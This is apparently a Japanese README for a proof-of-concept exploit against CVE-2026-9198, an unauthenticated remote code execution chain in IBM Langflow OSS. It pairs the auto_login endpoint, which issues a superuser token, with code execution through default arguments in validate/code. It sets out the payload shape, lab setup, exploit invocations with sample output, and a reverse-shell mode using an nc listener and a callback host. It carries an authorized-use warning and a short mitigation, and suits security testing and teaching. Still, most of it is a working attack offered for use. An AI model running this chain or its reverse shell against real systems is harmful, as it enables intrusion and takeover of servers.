
CVE-2026-9198の概念実証エクスプロイト。IBM Langflow OSSにおける未認証のRCEであり、auto_loginとvalidate/codeエンドポイントを連鎖させます。認可されたテストと教育用の脆弱なDockerラボを含みます。
CVE-2026-9198 の概念実証エクスプロイトと、自己完結型Dockerラボです。これは IBM Langflow OSS における未認証のリモートコード実行の脆弱性です。
このエクスプロイトは、auto_login(誰にでもSUPERUSERトークンを発行する)と validate/code(攻撃者が指定したPythonを実行する)の2つのエンドポイントを連鎖させ、認証情報を一切必要とせずに Langflow サービスユーザーとしてコード実行を行います。
[!WARNING] 認可されたセキュリティテストおよび教育目的のみに使用してください。 このツールは、自分が所有するシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ実行してください。このリポジトリのDockerラボは意図的に脆弱な状態にあります。自分のマシン上に留め、インターネットに公開しないでください。このコードの使用方法については、利用者が責任を負います。
| CVE | CVE-2026-9198 |
| 製品 | IBM Langflow OSS |
| 影響を受けるバージョン | 1.0.0 – 1.10.0 |
| 修正バージョン | 1.10.1 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — コード生成の不適切な制御('コードインジェクション') |
| CISA KEV | あり — 実際に悪用されている既知の脆弱性 |
このエクスプロイトは、認証を必要としない2段階の連鎖です。
GET /api/v1/auto_loginLangflow にはデフォルトで LANGFLOW_AUTO_LOGIN が有効になっています。有効な場合、auto_login エンドポイントは、認証情報を要求せずに任意の呼び出し元に対して長期有効な SUPERUSER JWT を発行します。
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/code1.3.0 以降、このエンドポイントは認証を必要とします(これは CVE-2025-3248 の修正でした)— しかし、ステップ1で有効な SUPERUSER トークンを取得したため、このゲートは無意味です。内部的には、このエンドポイントは validate_code() を呼び出し、受信したすべての関数定義をコンパイルして実行します。
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- def を実行
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- 出力がここに漏れる
def 文を実行すると、そのデフォルト引数値が評価されます。したがって、デフォルト引数が exec("...") である関数は、検証された瞬間に任意のコードを実行します — 関数自体は呼び出されることすらありません。発生した例外は捕捉され、function.errors の下のレスポンスで返され、エクスプロイトはこれを使用してコマンド出力をHTTP経由で読み戻します。
ペイロードの形状(コマンドは引用符の問題を回避するためにbase64でラップされています):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # PoC(コマンド実行 + リバースシェル)
├── docker-compose.yml # 脆弱なラボ: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests(pip install -r requirements.txt)docker compose up -d
Langflow は初回起動時に準備が整うまで1〜2分かかります。応答するまで待ちます。
curl -fs http://127.0.0.1:9999/health && echo OK
サービスは意図的に 127.0.0.1:9999 にバインドされています — ネットワークからは到達できません。
依存関係をインストールし、エクスプロイトをラボに向けます。
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
出力例:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
任意のコマンドが使用可能です:--cmd "uname -a && whoami && cat /etc/os-release"。
リスナーを起動します。
nc -lvnp 4444
次にペイロードを発射します。ターゲットが同じマシン上のDockerで実行されている場合、コンテナは host.docker.internal(Docker Desktop)でホストに到達します。実際のターゲットでは、ルーティング可能なIPを使用します。
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
リスナー上で langflow ユーザーとして対話型の /bin/sh が取得できます。
| フラグ | 説明 |
|---|---|
--url | ターゲットのベースURL(必須) |
--cmd | 実行するコマンド(デフォルト id) |
--reverse-shell | --cmd の代わりにリバースシェルを配信 |
--lhost / --lport | リバースシェルのコールバックホストとポート |
--token | 指定されたベアラートークンを使用し、auto_login をスキップ |
--timeout | リクエストごとのタイムアウト(秒)(デフォルト 15) |
--insecure | TLS検証をスキップ(https ターゲット用) |
LANGFLOW_AUTO_LOGIN=false を設定し、実際のスーパーユーザー認証情報を設定します。validate/code コードインジェクション)